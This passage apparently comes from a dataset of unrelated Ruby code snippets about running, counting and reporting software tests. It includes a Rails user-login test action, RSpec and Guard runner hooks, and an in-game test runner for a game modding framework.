self.add(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test6\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test7: \"Does not allow a username greater than 128 characters\"\n\t\tresponse = self.add(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"pass7\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -3\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test7\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test8: \"Does not allow a password greater than 128 characters\"\n\t\tresponse = self.add(\"user8\",\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -4\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test8\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test9: \"Allows a registered user with a password to login and counts number of logins\"\n\t\tresponse = self.login(\"user3\", \"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test9\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test10: \"Allows a registered user without a password to login and counts number of logins\"\n\t\tresponse = self.login(\"user2\", \"\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test10\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test11: \"Doesn't allow a user with wrong password to login\"\n\t\tresponse = self.login(\"user3\", \"pass2\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test11\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test12: \"Sucessfully Deletes the DB with call to TESTAPI_reset_fixture\"\n\t\tresponse = self.TESTAPI_resetFixture\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test12\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t@debug = false\n\t\trender json: {:totalTests => totalTests, :nrFailed => totalFailed, :output => output}\n\t\t\n\tend", "def run\n test_using_random_sample\n test_using_first_of\n end", "def done\n puts 'Done running tests'\n end", "def all_failing\n all(\"#qunit-tests .fail\")\n end", "def passing_tests\n return self.product_tests.includes(:test_executions).select do |test|\n test.execution_state == :passed\n end\n end", "def run_all\n passed = Runner.run(['spec'], cli)\n if passed\n Formatter.notify \"How cool, all works!\", :image => :success\n else\n Formatter.notify \"Failing... not there yet.\", :image => :failed\n end\n end", "def run_tests_under(config, options, root)\n summary = {}\n test_list(File.join($work_dir,root)).each do |path|\n name = path.sub(\"#{$work_dir}/\", '')\n puts \"\", \"\", \"#{name} executing...\"\n result = TestWrapper.new(config,options,path).run_test\n puts \"#{name} returned: #{result.fail_flag}\"\n summary[name] = result.fail_flag\n end\n return summary\nend", "def init_tests\n unless @init_tests\n @test_duration = 0\n @num_tests_run = 0\n @num_tests_failed = 0\n @num_tests_ok = 0\n @num_tests_skipped = 0\n @init_tests = true\n end\n end", "def before_test_case(*args)\n @test_steps =[]\n @scenario_tags = []\n @failed_step = {}\n end", "def test_step; end", "def scenarios\n @runner.done_scenarios\n end", "def define_tests\n @ours.each do |pkg|\n their = @theirs.find { |x| x.name == pkg.name }\n class_eval do\n define_method(\"test_#{pkg.name}_#{pkg.version}\") do\n PackageVersionCheck.new(ours: pkg, theirs: their).run\n end\n end\n end\n end", "def external_test_runs_passed_for?(test_type)\n test_types = ExternalTestType.get(test_type).with_related_types\n current_runs = current_external_test_runs_for(test_types)\n current_runs.any? && current_runs.all?(&:passed_ok?)\n end", "def test_passed(array)\n last_item = array.length - 1\n test_name = array[last_item - 1]\n test_suite_verify(array[@class_name])\n printf \"%-40s PASS\\n\", test_name\n\n return unless @xml_out\n\n @array_list.push ' <testcase classname=\"' + @test_suite + '\" name=\"' + test_name + '\"/>'\n end", "def execute_all &decision\n @result = nil\n @exception = nil\n\n @test_lines.each do |line|\n break if execute_line line, &decision\n end\n unless @exception\n #puts \"=> \" + @result.inspect\n end\n end", "def run_test(tests, ints_to_test, current_test_name)\n require \"./primality_tests/\" + current_test_name + \".rb\"\n tests[current_test_name.to_sym][:result] = []\n ints_to_test.each {|int|\n tests[current_test_name.to_sym][:result] << send(current_test_name, int)\n }\nend", "def call(*tests, env:)\n summary = execute_all(tests, env)\n List.new(\n List.new(Symbol.new(\"success\"), List.new(*summary[:success])),\n List.new(Symbol.new(\"failures\"), List.new(*summary[:failures]))\n )\n end", "def failures; end", "def failures; end", "def failures; end", "def process(files) #called at end of script\n if files.class==Array \n files.each {|f| \n puts \"\\n\\n--------------------\\n#{f}:\\n\\n\"\n result=system(\"#{$PROGRAM_NAME} #{f} #{ARGV}\")\n puts \"\\n\\nERRORS IN TEST #{f}!!!\\n\\n\" unless result\n }\n else\n test_name=File.basename(files).sub(/\\..*?$/,'')\n test_case=Class.new(Test::Unit::TestCase)\n Object.const_set(:\"Test#{test_name.capitalize}\", test_case)\n mk_test_context(files, test_case)\n end\nend", "def run\n\t\t @stats.tests += 1\n\t\t\tputs \"Testi: #{@name}\"\n\t\t\tctx = Context.new\n\t\t\tbegin\n\t\t\t\tctx.instance_eval(&@block)\n\t\t\trescue TestAbort # we don't really care if it aborts.\n\t\t\trescue Exception => ex\n\t\t\t\tctx.fail\n\t\t\t\[email protected] += 1\n\t\t\t\tputs ex.inspect\n\t\t\t\tputs ex.backtrace.join(\"\\n\")\n\t\t\tend\n\t\t\tif ctx.failed?\n\t\t\t\tputs \" # FAIL!!! ############\"\n\t\t\t\[email protected] += 1\n\t\t\telsif ctx.skipped?\n\t\t\t\tputs \" = skipped ============\"\n\t\t\t\[email protected] += 1\n\t\t\telse\n\t\t\t\tputs \" - ok.\"\n\t\t\t\[email protected] += 1\n\t\t\tend\n\t\t\tputs\n\t\tend", "def test_case; end", "def print_results\n if [email protected]?\n @failures.each do |test|\n pout \"\\nFailed: #{test[:desc]}\"\n puts test[:result]\n # print a newline for easier reading\n puts \"\"\n end\n abort\n else\n puts \"All passed!\".green\n end\nend", "def test_contains_13_eachsuit\n assert true == false\n end", "def test_runnable_methods_random\n @assertion_count = 0\n\n random_tests_1 = sample_test_case 42\n random_tests_2 = sample_test_case 42\n random_tests_3 = sample_test_case 1_000\n\n assert_equal random_tests_1, random_tests_2\n refute_equal random_tests_1, random_tests_3\n end", "def test_setup\r\n \r\n end", "def compare_tests(test_a, test_b); end", "def compare_tests(test_a, test_b); end", "def test_truth\n end", "def start_tests(files)\n end", "def run(selected_tests)\n # Test names (ordered) to be performed in game, per tests suite\n # Hash< Symbol, Array<String> >\n in_game_tests = {}\n selected_tests.each do |tests_suite, suite_selected_tests|\n if @tests_suites[tests_suite].respond_to?(:run_test)\n # Simple synchronous tests\n suite_selected_tests.each do |test_name|\n # Store statuses after each test just in case of crash\n set_statuses_for(tests_suite, [[test_name, @tests_suites[tests_suite].run_test(test_name)]])\n end\n end\n # We run the tests from the game itself.\n in_game_tests[tests_suite] = suite_selected_tests if @tests_suites[tests_suite].respond_to?(:in_game_tests_for)\n end\n return if in_game_tests.empty?\n\n # Keep track of the mapping between tests suites and in-game tests, per in-game tests suite.\n # Associated info is:\n # * *tests_suite* (Symbol): The tests suite that has subscribed to the statuses of some in-game tests of the in-game tests suite.\n # * *in_game_tests* (Array<String>): List of in-game tests that the tests suite is interested in.\n # * *selected_tests* (Array<String>): List of selected tests for which in-game tests are useful.\n # Hash< Symbol, Array< Hash< Symbol, Object > > >\n in_game_tests_subscriptions = {}\n # List of all in-game tests to perform, per in-game tests suite\n # Hash< Symbol, Array< String > >\n merged_in_game_tests = {}\n # Get the list of in-game tests we have to run and that we will monitor\n in_game_tests.each do |tests_suite, suite_selected_tests|\n in_game_tests_to_subscribe = @tests_suites[tests_suite].in_game_tests_for(suite_selected_tests)\n in_game_tests_to_subscribe.each do |in_game_tests_suite, selected_in_game_tests|\n selected_in_game_tests_downcase = selected_in_game_tests.map(&:downcase)\n in_game_tests_subscriptions[in_game_tests_suite] = [] unless in_game_tests_subscriptions.key?(in_game_tests_suite)\n in_game_tests_subscriptions[in_game_tests_suite] << {\n tests_suite: tests_suite,\n in_game_tests: selected_in_game_tests_downcase,\n selected_tests: suite_selected_tests\n }\n merged_in_game_tests[in_game_tests_suite] = [] unless merged_in_game_tests.key?(in_game_tests_suite)\n merged_in_game_tests[in_game_tests_suite] = (merged_in_game_tests[in_game_tests_suite] + selected_in_game_tests_downcase).uniq\n end\n end\n in_game_tests_runner = InGameTestsRunner.new(@config, @game)\n in_game_tests_runner.run(merged_in_game_tests) do |in_game_tests_suite, in_game_tests_statuses|\n # This is a callback called for each in-game test status change.\n # Update the tests results based on what has been run in-game.\n # Find all tests suites that are subscribed to those in-game tests.\n # Be careful that updates can be given for in-game tests suites we were not expecting\n if in_game_tests_subscriptions.key?(in_game_tests_suite)\n in_game_tests_subscriptions[in_game_tests_suite].each do |tests_suite_subscription|\n selected_in_game_tests_statuses = in_game_tests_statuses.slice(*tests_suite_subscription[:in_game_tests])\n next if selected_in_game_tests_statuses.empty?\n\n tests_suite = @tests_suites[tests_suite_subscription[:tests_suite]]\n tests_suite.statuses = tests_suite.\n parse_auto_tests_statuses_for(tests_suite_subscription[:selected_tests], { in_game_tests_suite => selected_in_game_tests_statuses }).\n select { |(test_name, _test_status)| tests_suite_subscription[:selected_tests].include?(test_name) }\n end\n end\n end\n end", "def define_tests\n Apt.update if Process.uid.zero? # update if root\n @lister.packages.each do |pkg|\n class_eval do\n define_method(\"test_#{pkg.name}_#{pkg.version}\") do\n PackageVersionCheck.new(pkg).run\n end\n end\n end\n end", "def test_contains_four_eachface\n assert true == false\n end", "def runTest(browser)\n puts \"Step 2: At step description here\"\n #Do shit here\n #....\n puts \"Step 3: ....\"\n #Do more shit here\n #....\n\n puts \"Expected Result:\"\n puts \"Result that we expect to happen.\"\n\n if true #Test passed condition here\n self.passed = true\n puts \"TEST PASSED. Add some description/details here\"\n else #Test failed condition here\n self.passed = false\n puts \"TEST FAILED. Show what we have screwed up\"\n end\n end", "def check test, block\n res = []\n begin\n block.call\n rescue ApiPi::AssertionError => e\n res << e.message\n end\n failed = !res.empty?\n failed ? @failure_count += 1 : @success_count += 1\n puts \"\\tERROR: #{res.first}\\n\" if failed\n end", "def testcase_processed\n\t\n\t\tcontinue = true\n\n\t\tthread = ::Thread.new do\n\t\t\n\t\t\tkill_browser\n\n\t\t\tcase @current_pass\n\t\t\t\twhen 1\n\t\t\t\t\t# Initial verification\n\t\t\t\t\[email protected]\n\t\t\t\twhen 2\n\t\t\t\t\t# Reducing elements\n\t\t\t\t\[email protected]\n\t\t\t\twhen 3\n\t\t\t\t\t# Reducing idx's\n\t\t\t\t\[email protected]\n\t\t\t\twhen 4\n\t\t\t\t\t# Final verification\n\t\t\t\t\t# booo, pass 4 has failed!?!.\n\t\t\t\t\tcontinue = false\n\t\t\t\telse\n\t\t\t\t\tcontinue = false\n\t\t\tend\n\n\t\t\t# while we still have testcases to generate...\n\t\t\tif( continue )\n\t\t\t\t# we go again an try the next testcase in a new browser instance\n\t\t\t\tspawn_browser\n\t\t\telse\n\t\t\t\t@reduction_server.stop\n\t\t\t\t::Thread.current.kill\n\t\t\tend\n\t\tend\n\t\t\n\t\tthread.join\n\t\t\n\t\treturn continue\n\tend", "def rspec_test(nodes)\n node_manager.assert_known(nodes)\n for node in nodes\n node_manager.find(node).rspec_test\n end\n end", "def passes; end", "def passes; end", "def test_checklist_status_values_not_started\n test = @product.product_tests.checklist_tests.first\n passing, failing, not_started, total = checklist_status_values(test)\n\n assert_equal 0, passing\n assert_equal 0, failing\n assert_equal 1, not_started\n assert_equal 1, total\n end", "def test\n\n puts \"Performing test tasks:\"\n\n puts \"Test 1 \" + (generate_intcode([1, 0, 0, 0, 99]) === [2, 0, 0, 0, 99] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 2 \" + (generate_intcode([2, 3, 0, 3, 99]) === [2, 3, 0, 6, 99] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 3 \" + (generate_intcode([2, 4, 4, 5, 99, 0]) === [2, 4, 4, 5, 99, 9801] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 4 \" + (generate_intcode([1, 1, 1, 4, 99, 5, 6, 0, 99]) === [30, 1, 1, 4, 2, 5, 6, 0, 99] ? \"succeeded\": \"failed\") + \"!\"\n\nend", "def run_all\n run_suite(@suite)\n end", "def completed_tests()\n test_array = []\n self.problems.each do |problem|\n problem.tests.each do |test|\n test_array.push(test)\n end\n end\n test_array\n end", "def run\n test_files.each do |file|\n eval File.read(file)\n end\n\n results = []\n @tests.each_pair do |name, test|\n results << test.call(@config)\n end\n results.reject!(&:nil?)\n results.reject!(&:empty?)\n results.flatten!\n results\n end", "def final_test_methods\n return []\n end", "def check_all_here\n end", "def run_all\n @last_run_states = @persistence ? @persistence.read('final_states', {}) : {}\n @skipped = {}\n run_suite(@suite)\n @persistence.store('final_states', @last_run_states) if @persistence\n end", "def run(selected_tests)\n unknown_tests_suites = selected_tests.keys - @available_tests_suites\n log \"[ In-game testing #{@game.name} ] - !!! The following in-game tests suites are not supported: #{unknown_tests_suites.join(', ')}\" unless unknown_tests_suites.empty?\n tests_to_run = selected_tests.reject { |tests_suite, _tests| unknown_tests_suites.include?(tests_suite) }\n return if tests_to_run.empty?\n\n FileUtils.mkdir_p \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData\"\n tests_to_run.each do |tests_suite, tests|\n # Write the JSON file that contains the list of tests to run\n File.write(\n \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData/AutoTest_#{tests_suite}_Run.json\",\n JSON.pretty_generate(\n 'stringList' => {\n 'tests_to_run' => tests\n }\n )\n )\n # Clear the AutoTest test statuses that we are going to run\n statuses_file = \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData/AutoTest_#{tests_suite}_Statuses.json\"\n next unless File.exist?(statuses_file)\n\n File.write(\n statuses_file,\n JSON.pretty_generate('string' => JSON.parse(File.read(statuses_file))['string'].delete_if { |test_name, _test_status| tests.include?(test_name) })\n )\n end\n auto_test_config_file = \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData/AutoTest_Config.json\"\n # Write the JSON file that contains the configuration of the AutoTest tests runner\n File.write(\n auto_test_config_file,\n JSON.pretty_generate(\n 'string' => {\n 'on_start' => 'run',\n 'on_stop' => 'exit'\n }\n )\n )\n out ''\n out '=========================================='\n out '= In-game tests are about to be launched ='\n out '=========================================='\n out ''\n out 'Here is what you need to do once the game will be launched (don\\'t launch it by yourself, the test framework will launch it for you):'\n out '* Load the game save you want to test (or start a new game).'\n out ''\n out 'This will execute all in-game tests automatically.'\n out ''\n out 'It is possible that the game crashes during tests:'\n out '* That\\'s a normal situation, as tests don\\'t mimick a realistic gaming experience, and the Bethesda engine is not meant to be stressed like that.'\n out '* In case of game crash (CTD), the Modsvaskr test framework will relaunch it automatically and resume testing from when it crashed.'\n out '* In case of repeated CTD on the same test, the Modsvaskr test framework will detect it and skip the crashing test automatically.'\n out '* In case of a game freeze without CTD, the Modsvaskr test framework will detect it after a few minutes and automatically kill the game before re-launching it to resume testing.'\n out ''\n out 'If you want to interrupt in-game testing: invoke the console with ~ key and type stop_tests followed by Enter.'\n out ''\n out 'Press enter to start in-game testing (this will lauch your game automatically)...'\n wait_for_user_enter\n last_time_tests_changed = nil\n with_auto_test_monitoring(\n on_auto_test_statuses_diffs: proc do |in_game_tests_suite, in_game_tests_statuses|\n yield in_game_tests_suite, in_game_tests_statuses\n last_time_tests_changed = Time.now\n end\n ) do\n # Loop on (re-)launching the game when we still have tests to perform\n idx_launch = 0\n loop do\n # Check which test is supposed to run first, as it will help in knowing if it fails or not.\n first_tests_suite_to_run = nil\n first_test_to_run = nil\n current_tests_statuses = check_auto_test_statuses\n @available_tests_suites.each do |tests_suite|\n next unless tests_to_run.key?(tests_suite)\n\n found_test_ok =\n if current_tests_statuses.key?(tests_suite)\n # Find the first test that would be run (meaning the first one having no status, or status 'started')\n tests_to_run[tests_suite].find do |test_name|\n found_test_name, found_test_status = current_tests_statuses[tests_suite].find { |(current_test_name, _current_test_status)| current_test_name == test_name }\n found_test_name.nil? || found_test_status == 'started'\n end\n else\n # For sure the first test of this suite will be the first one to run\n tests_to_run[tests_suite].first\n end\n next unless found_test_ok\n\n first_tests_suite_to_run = tests_suite\n first_test_to_run = found_test_ok\n break\n end\n if first_tests_suite_to_run.nil?\n log \"[ In-game testing #{@game.name} ] - No more test to be run.\"\n break\n else\n log \"[ In-game testing #{@game.name} ] - First test to run should be #{first_tests_suite_to_run} / #{first_test_to_run}.\"\n # Launch the game to execute AutoTest\n @game.launch(autoload: idx_launch.zero? ? false : 'auto_test')\n idx_launch += 1\n log \"[ In-game testing #{@game.name} ] - Start monitoring in-game testing...\"\n last_time_tests_changed = Time.now\n while @game.running?\n check_auto_test_statuses\n # If the tests haven't changed for too long, consider the game has frozen, but not crashed. So kill it.\n if Time.now - last_time_tests_changed > @game.timeout_frozen_tests_secs\n log \"[ In-game testing #{@game.name} ] - Last time in-game tests statuses have changed is #{last_time_tests_changed.strftime('%F %T')}. Consider the game is frozen, so kill it.\"\n @game.kill\n else\n sleep @game.tests_poll_secs\n end\n end\n last_test_statuses = check_auto_test_statuses\n # Log latest statuses\n log \"[ In-game testing #{@game.name} ] - End monitoring in-game testing. In-game test statuses after game run:\"\n last_test_statuses.each do |tests_suite, statuses_for_type|\n log \"[ In-game testing #{@game.name} ] - [ #{tests_suite} ] - #{statuses_for_type.select { |(_name, status)| status == 'ok' }.size} / #{statuses_for_type.size}\"\n end\n # Check for which reason the game has stopped, and eventually end the testing session.\n # Careful as this JSON file can be written by Papyrus that treat strings as case insensitive.\n # cf. https://github.com/xanderdunn/skaar/wiki/Common-Tasks\n auto_test_config = JSON.parse(File.read(auto_test_config_file))['string'].map { |key, value| [key.downcase, value.downcase] }.to_h\n if auto_test_config['stopped_by'] == 'user'\n log \"[ In-game testing #{@game.name} ] - Tests have been stopped by user.\"\n break\n end\n if auto_test_config['tests_execution'] == 'end'\n log \"[ In-game testing #{@game.name} ] - Tests have finished running.\"\n break\n end\n # From here we know that the game has either crashed or has been killed.\n # This is an abnormal termination of the game.\n # We have to know if this is due to a specific test that fails deterministically, or if it is the engine being unstable.\n # Check the status of the first test that should have been run to know about it.\n first_test_status = nil\n _found_test_name, first_test_status = last_test_statuses[first_tests_suite_to_run].find { |(current_test_name, _current_test_status)| current_test_name == first_test_to_run } if last_test_statuses.key?(first_tests_suite_to_run)\n if first_test_status == 'ok'\n # It's not necessarily deterministic.\n # We just have to go on executing next tests.\n log \"[ In-game testing #{@game.name} ] - Tests session has finished in error, certainly due to the game's normal instability. Will resume testing.\"\n else\n # The first test doesn't pass.\n # We need to mark it as failed, then remove it from the runs.\n log \"[ In-game testing #{@game.name} ] - First test #{first_tests_suite_to_run} / #{first_test_to_run} is in error status: #{first_test_status}. Consider it failed and skip it for next run.\"\n # If the test was started but failed before setting its status to something else then change the test status in the JSON file directly so that AutoTest does not try to re-run it.\n if first_test_status == 'started' || first_test_status == '' || first_test_status.nil?\n File.write(\n \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData/AutoTest_#{first_tests_suite_to_run}_Statuses.json\",\n JSON.pretty_generate(\n 'string' => ((last_test_statuses[first_tests_suite_to_run] || []) + [[first_test_to_run, '']]).map do |(test_name, test_status)|\n [\n test_name,\n test_name == first_test_to_run ? 'failed_ctd' : test_status\n ]\n end.to_h\n )\n )\n # Notify the callbacks updating test statuses\n check_auto_test_statuses\n end\n end\n # We will start again. Leave some time to interrupt if we want.\n if @config.no_prompt\n out 'Start again automatically as no_prompt has been set.'\n else\n # First, flush stdin of any pending character\n $stdin.getc until select([$stdin], nil, nil, 2).nil?\n out \"We are going to start again in #{@game.timeout_interrupt_tests_secs} seconds. Press Enter now to interrupt it.\"\n key_pressed =\n begin\n Timeout.timeout(@game.timeout_interrupt_tests_secs) { $stdin.gets }\n rescue Timeout::Error\n nil\n end\n if key_pressed\n log \"[ In-game testing #{@game.name} ] - Run interrupted by user.\"\n # TODO: Remove AutoTest start on load: it has been interrupted by the user, so we should not keep it in case the user launches the game by itself.\n break\n end\n end\n end\n end\n end\n end", "def querytests(binaries)\n # There are no test cases -- inconclusive.\n return 0 if binaries.empty?\n\n # If there are test cases, and _at least_ one of them managed to\n # _pass_, we assume the function is implemented.\n binaries.each { |b|\n f = File.new(\"#{b[0]}/log.passed\", 'r')\n while (line = f.gets)\n return 1 if line.include? b[1]\n end\n f.close\n }\n\n # Require at least 2 failing test cases.\n # XXX: Increase this to eliminate false positive results.\n return 0 if binaries.size < 2\n\n # The function is not implemented.\n return -1\nend", "def testloop\n \n end", "def test test_cases, f\n test_cases.each do |s, l, e|\n a = send(f, s, l)\n print \"#{f} #{s}, #{l} = #{a} ... \"\n if a == e\n puts 'PASS'\n else\n puts 'FAIL'\n end\n end\nend", "def integration_test()\n return [\"all\"]\n end", "def save_tests\n filtered_builds.each do |build|\n tests = test_failures(build['build_num'])\n tests.each do |test|\n save_test(test, build['build_num'])\n end\n end\n end", "def failed_checks\n all_checks_which_pass(false)\n end", "def run_test\n # Add your code here...\n end", "def run_test\n # Add your code here...\n end", "def spec_tests(&block)\n require 'onceover/testconfig'\n\n # Load up all of the tests and deduplicate them\n testconfig = Onceover::TestConfig.new(@onceover_yaml, @opts)\n testconfig.spec_tests.each { |tst| testconfig.verify_spec_test(self, tst) }\n tests = testconfig.run_filters(Onceover::Test.deduplicate(testconfig.spec_tests))\n\n # Loop over each test, executing the user's block on each\n tests.each do |tst|\n block.call(tst.classes[0].name, tst.nodes[0].name, tst.nodes[0].fact_set, tst.nodes[0].trusted_set, tst.nodes[0].trusted_external_set, testconfig.pre_condition)\n end\n end", "def after_test(_test); end", "def after_test(_test); end", "def after_test(_test); end", "def testing\n # ...\n end", "def passed?\n return @test_passed\n end", "def count_tests\n Dir.entries(@path.to_s + \"sandbox\").each do |currFile|\n isFile = currFile.to_s =~ /\\.java$|\\.py$|\\.c$|\\.cpp$|\\.js$|\\.php$|\\.rb$|\\.hs$|\\.clj$|\\.go$|\\.scala$|\\.coffee$|\\.cs$|\\.groovy$\\.erl$/i\n\n unless isFile.nil?\n file = @path.to_s + \"sandbox/\" + currFile.to_s\n begin\n case @language.to_s\n when \"Java-1.8_JUnit\"\n if File.open(file).read.scan(/junit/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Mockito\"\n if File.open(file).read.scan(/org\\.mockito/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Powermockito\"\n if File.open(file).read.scan(/org\\.powermock/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Approval\"\n if File.open(file).read.scan(/org\\.approvaltests/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Python-unittest\"\n if File.open(file).read.scan(/unittest/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Python-pytest\"\n if file.include?\"test\"\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Ruby-TestUnit\"\n if File.open(file).read.scan(/test\\/unit/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Ruby-Rspec\"\n if File.open(file).read.scan(/describe/).count > 0\n @totaltests += File.open(file).read.scan(/it /).count\n end\n when \"C++-assert\"\n if File.open(file).read.scan(/cassert/).count > 0\n @totaltests += File.open(file).read.scan(/static void /).count\n end\n when \"C++-GoogleTest\"\n if File.open(file).read.scan(/gtest\\.h/).count > 0\n @totaltests += File.open(file).read.scan(/TEST\\(/).count\n end\n when \"C++-CppUTest\"\n if File.open(file).read.scan(/CppUTest/).count > 0\n @totaltests += File.open(file).read.scan(/TEST\\(/).count\n end\n when \"C++-Catch\"\n if File.open(file).read.scan(/catch\\.hpp/).count > 0\n @totaltests += File.open(file).read.scan(/TEST_CASE\\(/).count\n end\n when \"C-assert\"\n if File.open(file).read.scan(/assert\\.h/).count > 0\n @totaltests += File.open(file).read.scan(/static void /).count\n end\n when \"Go-testing\"\n if File.open(file).read.scan(/testing/).count > 0\n @totaltests += File.open(file).read.scan(/func /).count\n end\n when \"Javascript-assert\"\n if File.open(file).read.scan(/assert/).count > 0\n @totaltests += File.open(file).read.scan(/assert/).count - 2 #2 extra because of library include line\n end\n when \"C#-NUnit\"\n if File.open(file).read.scan(/NUnit\\.Framework/).count > 0\n @totaltests += File.open(file).read.scan(/\\[Test\\]/).count\n end\n when \"PHP-PHPUnit\"\n if File.open(file).read.scan(/PHPUnit_Framework_TestCase/).count > 0\n @totaltests += File.open(file).read.scan(/function /).count\n end\n when \"Perl-TestSimple\"\n if File.open(file).read.scan(/use Test/).count > 0\n @totaltests += File.open(file).read.scan(/is/).count\n end\n when \"CoffeeScript-jasmine\"\n if File.open(file).read.scan(/jasmine-node/).count > 0\n @totaltests += File.open(file).read.scan(/it/).count\n end\n when \"Erlang-eunit\"\n if File.open(file).read.scan(/eunit\\.hrl/).count > 0\n @totaltests += File.open(file).read.scan(/test\\(\\)/).count\n end\n when \"Haskell-hunit\"\n if File.open(file).read.scan(/Test\\.HUnit/).count > 0\n @totaltests += File.open(file).read.scan(/TestCase/).count\n end\n when \"Scala-scalatest\"\n if File.open(file).read.scan(/org\\.scalatest/).count > 0\n @totaltests += File.open(file).read.scan(/test\\(/).count\n end\n when \"Clojure-.test\"\n if File.open(file).read.scan(/clojure\\.test/).count > 0\n @totaltests += File.open(file).read.scan(/deftest/).count\n end\n when \"Groovy-JUnit\"\n if File.open(file).read.scan(/org\\.junit/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Groovy-Spock\"\n if File.open(file).read.scan(/spock\\.lang/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count - 1 #1 extra because of object def\n end\n else\n @totaltests = \"NA\"\n end\n rescue\n puts \"Error: Reading in count_tests\"\n end\n end\n end\nend", "def run\n checks.each(&:run)\n end", "def run test_identifier=nil\n @dispatcher.run!\n # start\n message(\"start\")\n suite_setup,suite_teardown,setup,teardown,tests=*parse(test_identifier)\n if tests.empty? \n @dispatcher.exit\n raise RutemaError,\"No tests to run!\"\n else\n # running - at this point all checks are done and the tests are active\n message(\"running\")\n run_scenarios(tests,suite_setup,suite_teardown,setup,teardown)\n end\n message(\"end\")\n @dispatcher.exit\n @dispatcher.report(tests)\n end", "def run_all\n UI.info \"Running all tests...\"\n _really_run(Util.xcodebuild_command(options))\n end", "def report_from(tests)\n tests.map do |test|\n report = [test.name, test.executed?]\n report << test.platform.name unless test.platform.nil?\n report << test.node unless test.node.nil?\n # Only report the first line of the error messages, as some contain callstacks\n report << test.errors.map { |error| error.split(\"\\n\").first } unless test.errors.empty?\n report\n end\n end", "def process_test_cases\n raise NotImplementedError, 'You must implement this'\n end", "def run_fe_tests\n end", "def test_run_completed(test_run)\n report_results test_run\n end", "def run_all\n passed = @runner.run_all!\n\n throw :task_has_failed unless passed\n end", "def run_tests\n\n ::RSpec::Core::Runner.run([])\n\n print ::IRB.CurrentContext.io.prompt\n\n end", "def test_list\n list = []\n instance_methods.each do |m|\n next unless m.to_s =~ /^(ok|no)[_ ]/\n list << m\n end\n list\n end" ]
